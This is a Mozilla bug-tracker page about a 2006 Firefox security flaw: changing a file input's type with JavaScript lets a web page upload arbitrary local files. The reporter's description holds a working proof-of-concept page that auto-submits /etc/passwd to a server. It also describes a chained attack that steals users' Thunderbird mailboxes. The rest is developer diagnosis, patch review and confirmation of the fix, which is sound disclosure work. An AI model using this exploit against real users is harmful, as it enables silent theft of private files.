Last Comment Bug 334977 - [FIX]File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
: [FIX]File Upload Box Still can have arbitrary file specified by changing type...
Status: RESOLVED FIXED
[sg:high]
: fixed1.8.1, verified1.8.0.4
Product: Core
Classification: Components
Component: Layout: Form Controls (show other bugs)
: 1.8 Branch
: x86 All
: P1 normal (vote)
: mozilla1.9alpha1
Assigned To: Jonas Sicking (:sicking) No longer reading bugmail consistently
:
Mentors:
Depends on: 387978
Blocks: sbb? 325947 331156
  Show dependency treegraph
 
Reported: 2006-04-21 10:38 PDT by Chuck McAuley
Modified: 2008-08-13 05:44 PDT (History)
8 users (show)
dveditz: blocking1.7.14?
dveditz: blocking‑aviary1.0.9?
dveditz: blocking1.8.0.4+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
contains PoC demonstrating impact of this problem (13.66 KB, application/x-compressed-tar)
2006-04-21 10:41 PDT, Chuck McAuley
no flags Details
334977-unix.html - display /etc/passwd (450 bytes, text/html)
2006-04-21 11:40 PDT, Bob Clary [:bc:]
no flags Details
334997-win.html - display boot.ini (450 bytes, text/html)
2006-04-21 11:41 PDT, Bob Clary [:bc:]
no flags Details
Unix version with the submit off a timeout (479 bytes, text/html)
2006-04-21 13:02 PDT, Boris Zbarsky [:bz]
no flags Details
Proposed patch (8.63 KB, patch)
2006-04-21 13:20 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Splinter Review
Alternative patch (26.22 KB, patch)
2006-04-22 04:52 PDT, Jonas Sicking (:sicking) No longer reading bugmail consistently
no flags Details | Diff | Splinter Review
Alternative patch v 1.1 (26.98 KB, patch)
2006-04-22 04:59 PDT, Jonas Sicking (:sicking) No longer reading bugmail consistently
jonas: review-
Details | Diff | Splinter Review
Alternative patch v 1.1 -w (26.09 KB, patch)
2006-04-22 05:00 PDT, Jonas Sicking (:sicking) No longer reading bugmail consistently
no flags Details | Diff | Splinter Review
Alternative patch v 2 (30.32 KB, patch)
2006-04-24 00:06 PDT, Jonas Sicking (:sicking) No longer reading bugmail consistently
bzbarsky: review+
bzbarsky: superreview+
Details | Diff | Splinter Review
Alternative patch v 2 -w (29.43 KB, patch)
2006-04-24 00:07 PDT, Jonas Sicking (:sicking) No longer reading bugmail consistently
no flags Details | Diff | Splinter Review
Final trunk version (30.59 KB, patch)
2006-04-25 02:17 PDT, Jonas Sicking (:sicking) No longer reading bugmail consistently
no flags Details | Diff | Splinter Review
Branch patch (33.63 KB, patch)
2006-04-27 22:21 PDT, Jonas Sicking (:sicking) No longer reading bugmail consistently
jst: review+
jst: superreview+
jst: approval‑branch‑1.8.1+
dveditz: approval1.8.0.4+
Details | Diff | Splinter Review
1.0.x patch (22.77 KB, patch)
2006-06-13 15:07 PDT, Alexander Sack
asac: review? (caillon)
Details | Diff | Splinter Review

Description Chuck McAuley 2006-04-21 10:38:47 PDT
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.0.7-1.2.fc4 Firefox/1.0.7
Build Identifier: http://www.mozilla.com/products/download.html?product=firefox-1.5.0.2&os=win&lang=en-US

I was trying to reproduce CVE-2006-1729 with very little details.

Came up with this code : 
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}


chuckfile was originally type textbox

it worked on the vulnerable versions of firefox listed.  Hey! I said to myself, alright!

posted it to a friend, he said he was patched.  Asked him anyways to have a look.

Now for the interesting part.

It still worked.  Not believing him, I ran over to a winxp machine 10 minutes ago, d/l'd 1.5.0.2 , and ran and it worked.

so attached will be lots of PoC and some other stuff for perusal.  The PoC assumes the user has a install of thunderbird on their linux machine, and tries to upload the mailbox store.

also in the tarball is a quick demo for windows people uploading boot.ini

Reproducible: Always

Steps to Reproduce:
Steps to reproduce:

if using linux with a LAMP setup do this:
throw all the HTML into /var/www/html (or somewhere similar).

visit sploit_1729.html


will attempt to upload /etc/passwd
parse that, find user dirs
then try to locate $USERDIR/.thunderbird/profiles.ini
upload that
parse that for profile dir
then try upload
$USERDIR/.thunderbird/$PROFILE/Mail/Local\ Folders/Inbox



There are also cve-2006-1729.html & cve-2006-1729_windows.html  which are quick dirty demo's of the prob
Actual Results:  
uploads my files

Expected Results:  
don't upload my files!

Here's a quick demo if you don't want a tarball


<HTML>
<HEAD>
<script>
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}
</script>
</HEAD>
<BODY onLoad="change();document.getElementById('aform').submit();">
<FORM id="aform" enctype="multipart/form-data" ACTION="uploadhere.php" METHOD="POST">
<INPUT id="chuckfile" type="text" name="file4chuck" value="/etc/passwd" />
</FORM>
</HTML>
Comment 1 Chuck McAuley 2006-04-21 10:41:47 PDT
Created attachment 219325 [details]
contains PoC demonstrating impact of this problem
Comment 2 Bob Clary [:bc:] 2006-04-21 11:40:54 PDT
Created attachment 219334 [details]
334977-unix.html - display /etc/passwd
Comment 3 Bob Clary [:bc:] 2006-04-21 11:41:30 PDT
Created attachment 219335 [details]
334997-win.html - display boot.ini
Comment 4 Bob Clary [:bc:] 2006-04-21 11:43:22 PDT
confirmed with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060411 Firefox/1.5.0.2
Comment 5 David Baron :dbaron: ⌚️UTC-7 (review requests must explain patch) 2006-04-21 12:17:04 PDT
This seems like something that was broken by the ordering change in bug 325947.
Comment 6 Chuck McAuley 2006-04-21 12:24:15 PDT
this doesn't seem to affect 1.0.8 with the way i have it lined up

on the js line where i assign type radio to the input box i tried out all HTML 4 types...

here are the results (Y signifies value stays in file box):
             FF 1.5.0.2 (win)       FF 1.0.8 (fedora-core-4)
foobar          N                    N
radio           Y                    N
checkbox        Y                    N
text            N                    N
hidden          Y                    N
password        N                    N
submit          Y                    N
reset           Y                    N
image           Y                    N
button          Y                    N


would any of you guys know whats going on between 1.0.8 and 1.5.0.2 that makes a difference with this?
Comment 7 Boris Zbarsky [:bz] 2006-04-21 12:28:20 PDT
Yeah, the regression range is consistent with bug 325947
Comment 8 Boris Zbarsky [:bz] 2006-04-21 12:34:48 PDT
Chuck, 1.8 branch has asynchronous style changes; that means that the frame type doesn't change immediately when the content type changes.

Still sorting out what's happening here.
Comment 9 Boris Zbarsky [:bz] 2006-04-21 13:02:25 PDT
Created attachment 219345 [details]
Unix version with the submit off a timeout

So the sequence of events here is:

1)  Text control changes to radio; mValue is null
2)  Radio changes to file; mValue is null, and since we're changing from radio
    we don't try to set the value in the frame.
3)  We submit, and get our value from the frame (in the original testcase).

An alternate end would be:

3')  Text control frame is torn down, stores its value in the content without
     checking the type (this testcase; I have a fix for this one but not the
     original one yet).
Comment 10 Boris Zbarsky [:bz] 2006-04-21 13:20:50 PDT
Created attachment 219347 [details] [diff] [review]
Proposed patch

This is the trunk version.... I'll have to merge to branch if the general approach is ok by you, Jonas.
Comment 11 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-22 04:52:57 PDT
Created attachment 219415 [details] [diff] [review]
Alternative patch

This patch makes us compleatly separate filename from all other types of values. There should be no way we can get any type of value in there now. The only two places we set the string that is later used as a filename is after the file-selector has been shown, or when we restore state from a previous file-control.
Comment 12 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-22 04:59:26 PDT
Created attachment 219416 [details] [diff] [review]
Alternative patch v 1.1

Forgot to run the final diff. This version works better.

Oh, i'm not sure if we need to call SetFileName in more places in nsFileControlFrame. Can you change the value any other way than by bringing up the file picker?

Also, I suspect nsFileControlFrame::Destroy can be completely removed.
Comment 13 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-22 05:00:15 PDT
Created attachment 219417 [details] [diff] [review]
Alternative patch v 1.1 -w

For review goodness...
Comment 14 Jesse Ruderman 2006-04-22 11:02:42 PDT
> Can you change the value any other way than by bringing up the file picker?

On trunk, I don't think so, but there might be an exception for privileged scripts.

On 1.8.0.x, yes, because on that branch users can type filenames directly into the textbox (bug 258875).
Comment 15 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-22 13:40:39 PDT
Ok, i'll write up a patch for 1.8.0.x too that calls SetFileName on every key-stroke then.

Note that privileged script can call .value = "foo" still, even on file-inputs.
Comment 16 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-22 14:14:15 PDT
Comment on attachment 219416 [details] [diff] [review]
Alternative patch v 1.1

Crap, i realized that there's still a theoretical risk that the normal value creeps into the filename since nsFileControlFrame calls GetValue.

New patch later today or tomorrow.
Comment 17 Boris Zbarsky [:bz] 2006-04-23 09:07:51 PDT
Jonas, the deadline for getting 1.8.0.3 approvals is tomorrow.  I'd really like one or the other of these patches to make 1.8.0.3 (since this thing is more or less out in the wild), which means it needs to land on trunk today or at worst tomorrow morning and start baking so drivers have something to evaluate when doing approvals.

If you don't think your thing will be ready by then, we should probably just check in my version, though I do prefer your approach.
Comment 18 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-24 00:06:59 PDT
Created attachment 219575 [details] [diff] [review]
Alternative patch v 2

Actually, the last patch would have fixed all security issues too. However it might have been possible to trick the wrong file into being displayed.

So this one should be fine for trunk and 1.8.1. I'll attach another patch for 1.8.0
Comment 19 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-24 00:07:26 PDT
Created attachment 219576 [details] [diff] [review]
Alternative patch v 2 -w
Comment 20 Boris Zbarsky [:bz] 2006-04-24 19:09:44 PDT
Comment on attachment 219575 [details] [diff] [review]
Alternative patch v 2

>Index: content/html/content/public/nsIFileControlElement.h

>+ * This interface is used for the text control frame to store its value away

s/text/file/, no?

I kinda wish we weren't adding another vtable pointer here, but I'm not sure inheriting this from one of the existing interfaces would work so well..

>Index: content/html/content/src/nsHTMLInputElement.cpp

>-   * The current value of the input if it has been changed from the deafault
>+   * The current value of the input if it has been changed from the default
>    */
>   char*                    mValue;
>+  /**
>+   * The current value of the input if it has been changed from the default
>+   */
>+  nsAutoPtr<nsString>      mFileName;

So how are the two different?  Document!

>@@ -619,18 +633,17 @@ nsHTMLInputElement::SetSize(PRUint32 aVa
>@@ -671,52 +695,82 @@ nsHTMLInputElement::GetValue(nsAString& 
>+nsHTMLInputElement::SetFileName(const nsAString& aValue)
>+{
>+  delete mFileName;
>+
>+  // No big deal if |new| fails, we simply won't submit the file
>+  mFileName = aValue.IsEmpty() ? nsnull : new nsString(aValue);

That'll double-delete mFileName and crash, no?  operator= on an nsAutoPtr deletes the old value.  So no need for the manual delete here.

>Index: layout/forms/nsFileControlFrame.cpp
>@@ -356,16 +314,19 @@ nsFileControlFrame::MouseClick(nsIDOMEve
>+      nsCOMPtr<nsIFileControlElement> fileInput = do_QueryInterface(mContent);
>+      fileInput->SetFileName(unicodePath);

Thanks to XBL, the QI can fail... So null-check, please.

>@@ -582,22 +543,22 @@ nsFileControlFrame::GetFormProperty(nsIA
>+      nsCOMPtr<nsIFileControlElement> fileControl = do_QueryInterface(mTextContent);
>+      NS_ASSERTION(fileControl,
>+                   "<input> element not implementing nsIFileControlElement?");

Take out the assertion; as written this code can't assert that.

r+sr=bzbarsky; for branch we need a version that deals with typing in the textfield, right?
Comment 21 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-25 02:11:10 PDT
> I kinda wish we weren't adding another vtable pointer here, but I'm not sure
> inheriting this from one of the existing interfaces would work so well..

I agree, this class has way too many interfaces. Might be worth looking into cleaning that up in general at some point. But that's a separate bug. This is a security patch, i want to keep it clean :)

> That'll double-delete mFileName and crash, no?  operator= on an nsAutoPtr
> deletes the old value.  So no need for the manual delete here.

Opps! Forgot that I had made that an nsAutoPtr. Would be good if nsAutoPtr protected against that.

> r+sr=bzbarsky; for branch we need a version that deals with typing in the
> textfield, right?

Right, got sidetracked today, but I'm almost done with that.
Comment 22 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-25 02:17:57 PDT
Created attachment 219731 [details] [diff] [review]
Final trunk version
Comment 23 Daniel Veditz [:dveditz] 2006-04-27 14:48:04 PDT
This is going to get almost no trunk baking before hitting the branch, please land today! And we need a separate branch patch too, right?
Comment 24 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-27 15:02:38 PDT
This has already landed on trunk, I just kept the bug open for branch, but i guess i should mark it fixed. Still working on the branch version.
Comment 25 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-04-27 22:21:17 PDT
Created attachment 220104 [details] [diff] [review]
Branch patch

This is the branch version. I made it react changes in the textfield by intercepting the input-events submitted from the anonymous content.

I also use a separate property name for file inputs to make sure that data isn't accidentally transfered <input type=text> -> nsTextControlFrame -> <input type=file>

Note that I found a bug in the trunk version of this patch. If the value is changed on the node directly the frame doesn't get updated. I've fixed that in this version, i'll create a trunk fix as well.
Comment 26 Johnny Stenback (:jst, jst@mozilla.com) 2006-04-28 16:45:17 PDT
Comment on attachment 220104 [details] [diff] [review]
Branch patch

r+sr+a=jst
Comment 27 Boris Zbarsky [:bz] 2006-04-28 19:59:14 PDT
Comment on attachment 220104 [details] [diff] [review]
Branch patch

Looks reasonable, fwiw.  ;)
Comment 28 Daniel Veditz [:dveditz] 2006-05-01 11:43:38 PDT
Comment on attachment 220104 [details] [diff] [review]
Branch patch

approved for 1.8.0 branch, a=dveditz for drivers
Comment 29 Bob Clary [:bc:] 2006-05-22 08:15:38 PDT
verified fixed ff1.5.0.4/20060508/win/linux
Comment 30 Jonas Sicking (:sicking) No longer reading bugmail consistently 2006-05-31 22:23:58 PDT
Though the testcases in this bug might not affect the old 1.7 and 1.0 branches some of the other filecontrol bugs found recently might, and this patch is likely to be the best fix for them. (some of the other fixes we've tried on trunk has tended to open new exploits)
Comment 31 Alexander Sack 2006-06-13 15:07:33 PDT
Created attachment 225484 [details] [diff] [review]
1.0.x patch

Note You need to log in before you can comment on or make changes to this bug.